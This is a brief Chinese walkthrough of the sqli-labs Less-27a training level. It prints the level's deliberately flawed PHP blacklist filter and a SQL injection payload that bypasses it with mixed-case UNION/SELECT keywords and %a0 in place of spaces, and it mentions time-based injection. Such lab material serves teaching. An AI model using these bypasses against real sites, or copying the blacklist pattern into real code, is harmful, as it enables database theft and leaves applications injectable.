关键代码
function blacklist($id) { $id= preg_replace('/[/*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out Select return $id; } $id=$_GET['id']; $id= blacklist($id); $id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; //print_r(mysql_error());
本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示。
我们根据27关直接给出一个示例payload:
http://127.0.0.1/sql/Less-27a/?id=100"unIOn%a0seLect%a01,database(),"3
TIPS:这里说下以上payload我们利用最后的3前面的 " 将后面的 " 给闭合掉。或者亦可以利用以前的方法 1,database(),3 || "1,同时本关可以用延时注入的方法进行注入。